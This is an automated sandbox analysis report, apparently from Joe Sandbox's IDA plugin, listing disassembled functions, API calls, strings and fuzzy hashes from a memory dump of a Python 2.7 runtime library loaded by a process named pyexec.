                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Format$Dict_String$NextString_strchr$FromItem
                                                                                                                                                                    • String ID: %s%s takes at most %d argument%s (%d given)$%s: '%s'$%s:%d: bad argument to internal function$'%s' is an invalid keyword argument for this function$..\Objects\dictobject.c$Argument given by name ('%s') and position (%d)$More keyword list entries (%d) than format specifiers (%d)$Required argument '%s' (pos %d) not found$function$keywords must be strings$more argument specifiers than keyword list entries (remaining format:'%s')
                                                                                                                                                                    • API String ID: 3616505498-1988118272
                                                                                                                                                                    • Opcode ID: 76e744b1746fd381d7b330ed55456efa2acc1234c8d9e9c2a98cd8c932cf7a83
                                                                                                                                                                    • Instruction ID: 0fdd84362af949a2f0050c3881b756571c40dfe7c2eb98d3abb9eaf0294fcd63
                                                                                                                                                                    • Opcode Fuzzy Hash: 76e744b1746fd381d7b330ed55456efa2acc1234c8d9e9c2a98cd8c932cf7a83
                                                                                                                                                                    • Instruction Fuzzy Hash: C3D1D0716082009FD705CF24D8C1A6BB7E9EBDD714F444A5EF9A987244EB30D9C2DBA2
                                                                                                                                                                    Function 6708BD70 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 230COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetBuffer.PYTHON27(?,?,0000011D), ref: 6708BDD4
                                                                                                                                                                    • PyObject_GetBuffer.PYTHON27(?,?,0000011C), ref: 6708BDEF
                                                                                                                                                                      • Part of subcall function 6708B8D0: PyErr_Format.PYTHON27(672448B0,'%100s' does not have the buffer interface,?), ref: 6708B90F
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(?), ref: 6708BE00
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67246898,destination is too small to receive data from source), ref: 6708BE27
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(?,67246898,destination is too small to receive data from source), ref: 6708BE31
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(?,?,67246898,destination is too small to receive data from source), ref: 6708BE3B
                                                                                                                                                                    • PyString_FromString.PYTHON27(both destination and source must have the buffer interface), ref: 6708BFB6
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,both destination and source must have the buffer interface), ref: 6708BFBF
                                                                                                                                                                    Strings
                                                                                                                                                                    • destination is too small to receive data from source, xrefs: 6708BE21
                                                                                                                                                                    • both destination and source must have the buffer interface, xrefs: 6708BFB1
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Buffer_Err_Release$BufferObject_String$FormatFromObjectString_
                                                                                                                                                                    • String ID: both destination and source must have the buffer interface$destination is too small to receive data from source
                                                                                                                                                                    • API String ID: 32417970-1250155686
                                                                                                                                                                    • Opcode ID: 94f35df76d51a0e0a5e6b4696a5e20ce5b12e40e688ab43a8548ccd393531dad
                                                                                                                                                                    • Instruction ID: 539876dbd39c24c57a7e802a85b82f31f2f3021b129ca677696f8a3be68e14da
                                                                                                                                                                    • Opcode Fuzzy Hash: 94f35df76d51a0e0a5e6b4696a5e20ce5b12e40e688ab43a8548ccd393531dad
                                                                                                                                                                    • Instruction Fuzzy Hash: 1A61E5325142059FDA10DA64E840B6F73F89F8D768F100B6EFE6887291EB31D905CAB3
                                                                                                                                                                    Function 67100430 Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 271registrystringCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • malloc.MSVCR90 ref: 67100483
                                                                                                                                                                    • memcpy.MSVCR90(00000000,67282F2C,?,00000000), ref: 671004BE
                                                                                                                                                                    • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00000000), ref: 671004FE
                                                                                                                                                                    • RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6710052A
                                                                                                                                                                    • malloc.MSVCR90 ref: 67100551
                                                                                                                                                                    • memset.MSVCR90 ref: 6710057B
                                                                                                                                                                    • RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000), ref: 671005C2
                                                                                                                                                                    • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,00000000,?,?,?,?,?,?,00000000), ref: 671005EB
                                                                                                                                                                    • RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000105,?,?,?,?,?,?,00000000), ref: 67100611
                                                                                                                                                                    • malloc.MSVCR90 ref: 6710061E
                                                                                                                                                                    • RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000105,?,?,?,?,?,?,?,00000000), ref: 67100643
                                                                                                                                                                    • RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,00000000), ref: 67100662
                                                                                                                                                                    • malloc.MSVCR90 ref: 67100685
                                                                                                                                                                    • strncpy.MSVCR90 ref: 671006DE
                                                                                                                                                                    • RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6710072E
                                                                                                                                                                    • free.MSVCR90 ref: 67100758
                                                                                                                                                                    • free.MSVCR90 ref: 6710076B
                                                                                                                                                                    • RegCloseKey.ADVAPI32(?), ref: 67100782
                                                                                                                                                                    • free.MSVCR90 ref: 67100793
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Querymalloc$Valuefree$CloseOpen$EnumInfomemcpymemsetstrncpy
                                                                                                                                                                    • String ID: ,/(g$Software\Python\PythonCore\$\PythonPath
                                                                                                                                                                    • API String ID: 1430883583-1408462313
                                                                                                                                                                    • Opcode ID: 9578fe94c11a14c090aa22a7c0c0b78e69024c34729661891daeafdab18430ef
                                                                                                                                                                    • Instruction ID: bca73f87738e1425ff130172eb7fcfdcd047ce37e96f64ce9d2fd13a62840ccb
                                                                                                                                                                    • Opcode Fuzzy Hash: 9578fe94c11a14c090aa22a7c0c0b78e69024c34729661891daeafdab18430ef
                                                                                                                                                                    • Instruction Fuzzy Hash: 45A182B0A002199FDB15CF64CC89BEA77B8FB5D704F00419AEA49A7244DB749E85CFA0
                                                                                                                                                                    Function 6700DDF0 Relevance: 36.9, APIs: 11, Strings: 10, Instructions: 145COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_ParseTupleAndKeywords.PYTHON27(?,?,O:make_scanner,6726B7F0,?), ref: 6700DE0A
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,encoding), ref: 6700DE3F
                                                                                                                                                                    • PyString_InternFromString.PYTHON27(utf-8), ref: 6700DE7A
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,encoding must be a string, not %.80s,?), ref: 6700DEDB
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Arg_AttrErr_FormatFromInternKeywordsObject_ParseString_Tuple
                                                                                                                                                                    • String ID: O:make_scanner$encoding$encoding must be a string, not %.80s$object_hook$object_pairs_hook$parse_constant$parse_float$parse_int$strict$utf-8
                                                                                                                                                                    • API String ID: 1133056520-3636494817
                                                                                                                                                                    • Opcode ID: 0590a05228f1b0b1857f1552f6791ce716694863ad6ecbf6649ad724bc87bd14
                                                                                                                                                                    • Instruction ID: 8aac7e78ab7b0550db27c362cfa18d2723c152ad7f2f068ca74e5041c70e8fec
                                                                                                                                                                    • Opcode Fuzzy Hash: 0590a05228f1b0b1857f1552f6791ce716694863ad6ecbf6649ad724bc87bd14
                                                                                                                                                                    • Instruction Fuzzy Hash: 0341C6F5A00601EFE720CF64DC84B6F73F89F5D268F208659E918A7245EB31E9058BB1
                                                                                                                                                                    Function 670C57A0 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 121COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245248,print recursion,?,?,670B0298,00000001,00000000,?,00000000), ref: 670C57B7
                                                                                                                                                                    • PyErr_CheckSignals.PYTHON27(?,?,670B0298,00000001,00000000,?,00000000), ref: 670C57C5
                                                                                                                                                                    • PyOS_CheckStack.PYTHON27(?,?,670B0298,00000001,00000000,?,00000000), ref: 670C57CE
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672467A8,stack overflow,?,?,670B0298,00000001,00000000,?,00000000), ref: 670C57E3
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$CheckString$SignalsStack
                                                                                                                                                                    • String ID: <nil>$<refcnt %ld at %p>$print recursion$stack overflow
                                                                                                                                                                    • API String ID: 1213917722-2658149411
                                                                                                                                                                    • Opcode ID: 1777194cf011b6139e734d11f5ea8acf54e0d5100fe0603158251b301c5ef2b5
                                                                                                                                                                    • Instruction ID: 8ad3018ee5c37967d7f6bdec320e1382e26ac43d669a9067ed7c11621a8012be
                                                                                                                                                                    • Opcode Fuzzy Hash: 1777194cf011b6139e734d11f5ea8acf54e0d5100fe0603158251b301c5ef2b5
                                                                                                                                                                    • Instruction Fuzzy Hash: F7315F3D9041009BD700EE749D85E5F37FCAF4E728B200635FA2493240EB35D99586B3
                                                                                                                                                                    Function 67007600 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 84COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_Ready.PYTHON27(6726E5E8), ref: 67007605
                                                                                                                                                                    • PyType_Ready.PYTHON27(6726E710), ref: 6700761A
                                                                                                                                                                    • PyType_Ready.PYTHON27(6726E9B8), ref: 6700762F
                                                                                                                                                                    • Py_InitModule4.PYTHON27(_csv,6726FA70,CSV parsing and writing.This module provides classes that assist in the reading and writingof Comma Separated Value (CSV) files, and implements the interfacedescribed by PEP 305. Although many CSV files are simple to parse,the format is not formally defi,00000000,000003F5), ref: 67007656
                                                                                                                                                                    • PyModule_AddStringConstant.PYTHON27(00000000,__version__,1.0), ref: 67007673
                                                                                                                                                                      • Part of subcall function 6712ED90: PyString_FromString.PYTHON27(67007678,?,?,67007678,00000000,__version__,1.0), ref: 6712ED98
                                                                                                                                                                      • Part of subcall function 6712ED90: PyModule_AddObject.PYTHON27(?,?,00000000,1.0), ref: 6712EDAF
                                                                                                                                                                    • PyDict_New.PYTHON27 ref: 67007684
                                                                                                                                                                      • Part of subcall function 670A4510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,670C50C0,?,00000014,?,6712DEB4), ref: 670A4529
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,_dialects,00000000), ref: 6700769D
                                                                                                                                                                      • Part of subcall function 6712EC70: PyType_IsSubtype.PYTHON27(?,?,?,?,670057F9,00000000,deque,6726FF60), ref: 6712EC87
                                                                                                                                                                      • Part of subcall function 6712EC70: PyErr_SetString.PYTHON27(672448B0,PyModule_AddObject() needs module as first arg,deque,6726FF60), ref: 6712EC9E
                                                                                                                                                                    • PyModule_AddIntConstant.PYTHON27(00000000,?,00000000), ref: 670076BF
                                                                                                                                                                      • Part of subcall function 6712ED40: PyInt_FromLong.PYTHON27(00000000,6726E478,?,670076C4,00000000,?,00000000), ref: 6712ED48
                                                                                                                                                                      • Part of subcall function 6712ED40: PyModule_AddObject.PYTHON27(?,?,00000000), ref: 6712ED5F
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,Dialect,6726E5E8), ref: 670076E5
                                                                                                                                                                    • PyErr_NewException.PYTHON27(_csv.Error,00000000,00000000), ref: 670076F8
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,Error,00000000), ref: 67007710
                                                                                                                                                                    Strings
                                                                                                                                                                    • _csv, xrefs: 67007651
                                                                                                                                                                    • Dialect, xrefs: 670076DF
                                                                                                                                                                    • _dialects, xrefs: 67007697
                                                                                                                                                                    • _csv.Error, xrefs: 670076F3
                                                                                                                                                                    • __version__, xrefs: 6700766D
                                                                                                                                                                    • x&g, xrefs: 670076B2
                                                                                                                                                                    • 1.0, xrefs: 67007668
                                                                                                                                                                    • CSV parsing and writing.This module provides classes that assist in the reading and writingof Comma Separated Value (CSV) files, and implements the interfacedescribed by PEP 305. Although many CSV files are simple to parse,the format is not formally defi, xrefs: 67007647
                                                                                                                                                                    • Error, xrefs: 6700770A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Module_$Object$StringType_$FromReady$ConstantErr_String_$Dict_ExceptionInitInt_LongModule4Subtype
                                                                                                                                                                    • String ID: 1.0$CSV parsing and writing.This module provides classes that assist in the reading and writingof Comma Separated Value (CSV) files, and implements the interfacedescribed by PEP 305. Although many CSV files are simple to parse,the format is not formally defi$Dialect$Error$__version__$_csv$_csv.Error$_dialects$x&g
                                                                                                                                                                    • API String ID: 147260570-2516519101
                                                                                                                                                                    • Opcode ID: b70e189c7d8bf39625b2fadb819d3cb94bdeb56d9f4fcc4a39753d8fa74ce77d
                                                                                                                                                                    • Instruction ID: a414b8bd6b7ceabc9bdf70f47a7c029afe6d1f08736c0165d301dd3d80e85b6f
                                                                                                                                                                    • Opcode Fuzzy Hash: b70e189c7d8bf39625b2fadb819d3cb94bdeb56d9f4fcc4a39753d8fa74ce77d
                                                                                                                                                                    • Instruction Fuzzy Hash: 8521C0B5C0010267FA10567C6CCEF3B23A86BAD16CF481937FD2996246F718DA9586B3
                                                                                                                                                                    Function 67016C50 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 393COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyCallable_Check.PYTHON27 ref: 67016C62
                                                                                                                                                                      • Part of subcall function 670C7170: PyObject_GetAttrString.PYTHON27(6708F42C,__call__,?,6708F42C,00000000), ref: 670C718B
                                                                                                                                                                      • Part of subcall function 670C7170: PyErr_Clear.PYTHON27(6708F42C,00000000), ref: 670C7197
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 67016D6F
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 67016DAB
                                                                                                                                                                    • free.MSVCR90 ref: 67016E12
                                                                                                                                                                    • PySequence_GetSlice.PYTHON27(?,?,?,?), ref: 67016ECD
                                                                                                                                                                    • PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 67016EE5
                                                                                                                                                                    • PyTuple_Pack.PYTHON27(00000001,00000000,?), ref: 67016F44
                                                                                                                                                                    • PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,?,?,?), ref: 67016F5E
                                                                                                                                                                    • PyList_Append.PYTHON27(?,?), ref: 67016FA8
                                                                                                                                                                    • PySequence_GetSlice.PYTHON27(?,?,?,?), ref: 67017034
                                                                                                                                                                    • PyList_Append.PYTHON27(?,00000000,?,?,?), ref: 67017048
                                                                                                                                                                    • _Py_BuildValue_SizeT.PYTHON27(671EFD28,00000000,?,?), ref: 670170E5
                                                                                                                                                                      • Part of subcall function 67015FD0: PyErr_SetString.PYTHON27(67245248,internal error in regular expression engine), ref: 67015FEA
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AppendList_$Err_Object_Sequence_SliceString$AttrBuildCallCallable_CheckClearErrorEval_FatalKeywordsMallocObjectPackSizeTuple_Value_Withfree
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$_subx
                                                                                                                                                                    • API String ID: 255113379-1269498540
                                                                                                                                                                    • Opcode ID: e21106fe2fd94cda44dde3a958c873b4e6d24a96d9b77d67c669626e960d5e98
                                                                                                                                                                    • Instruction ID: 6eadef01c4da8f184abf53d8b534e7fd053f5d3ff03bba79a7aecfd10123cd79
                                                                                                                                                                    • Opcode Fuzzy Hash: e21106fe2fd94cda44dde3a958c873b4e6d24a96d9b77d67c669626e960d5e98
                                                                                                                                                                    • Instruction Fuzzy Hash: A2E172B1908301CFC710CFA8DC80B5AB7E5BB9D328F104A2DF96887251E735D956CBA2
                                                                                                                                                                    Function 67007720 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 245COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27 ref: 6700774F
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                    • PyObject_GetIter.PYTHON27(?), ref: 6700776E
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,reduce() arg 2 must support iteration), ref: 6700778C
                                                                                                                                                                    • _PyObject_GC_NewVar.PYTHON27(?,00000002), ref: 670077E9
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 67007817
                                                                                                                                                                    • _PyObject_GC_NewVar.PYTHON27(?,00000002), ref: 67007889
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670078B1
                                                                                                                                                                    • PyTuple_SetItem.PYTHON27(00000000,00000000,?), ref: 6700790F
                                                                                                                                                                    • PyTuple_SetItem.PYTHON27(00000000,00000001,00000000,00000000,00000000,?), ref: 67007918
                                                                                                                                                                    • PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?), ref: 67007925
                                                                                                                                                                    • PyErr_GivenExceptionMatches.PYTHON27(?,67244978), ref: 67007953
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 6700795F
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,reduce() of empty sequence with no initial value), ref: 67007994
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Object_String$ErrorFatalItemObjectTuple_$Arg_CallClearEval_ExceptionFromGivenIterKeywordsMatchesString_TupleUnpackWith
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$reduce$reduce() arg 2 must support iteration$reduce() of empty sequence with no initial value
                                                                                                                                                                    • API String ID: 1261823125-1277456620
                                                                                                                                                                    • Opcode ID: 1b38fb71d656961077d535af357857c5bfe485a1d50582cb7231955db09f21e9
                                                                                                                                                                    • Instruction ID: 4d8d5768f1be658d935cccde59701592c27adedd6f2ed1e2e70aad658158c104
                                                                                                                                                                    • Opcode Fuzzy Hash: 1b38fb71d656961077d535af357857c5bfe485a1d50582cb7231955db09f21e9
                                                                                                                                                                    • Instruction Fuzzy Hash: 359191B15047019FEB10CF24C845B5AB3E4EF9D334F108A69E96997390D738E996CBE2
                                                                                                                                                                    Function 67114600 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 206COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,bad argument type for built-in operation,?,?,?,?,6700157A,?), ref: 6711461E
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(?), ref: 67114667
                                                                                                                                                                    • PyDict_GetItem.PYTHON27(?,?,?), ref: 67114675
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Dict_Err_InternItemPlaceStringString_
                                                                                                                                                                    • String ID: GC object already tracked$P&&g$bad argument type for built-in operation$codec search functions must return 4-tuples$no codec search functions registered: can't find encoding$unknown encoding: %s
                                                                                                                                                                    • API String ID: 3405058867-4205629167
                                                                                                                                                                    • Opcode ID: b4119104e4ccc08659f95ccfda0c614bc28181dbcfa5085ea974eef86a4acc11
                                                                                                                                                                    • Instruction ID: 59db79065ddb0c41871d2d1b0bb947e2b6867c7853a4234f296abebdcddc5385
                                                                                                                                                                    • Opcode Fuzzy Hash: b4119104e4ccc08659f95ccfda0c614bc28181dbcfa5085ea974eef86a4acc11
                                                                                                                                                                    • Instruction Fuzzy Hash: 1A61D9B5A082019FD711CF64D881A57B3E9EBADB28F10467AED688F340D735D845CBE2
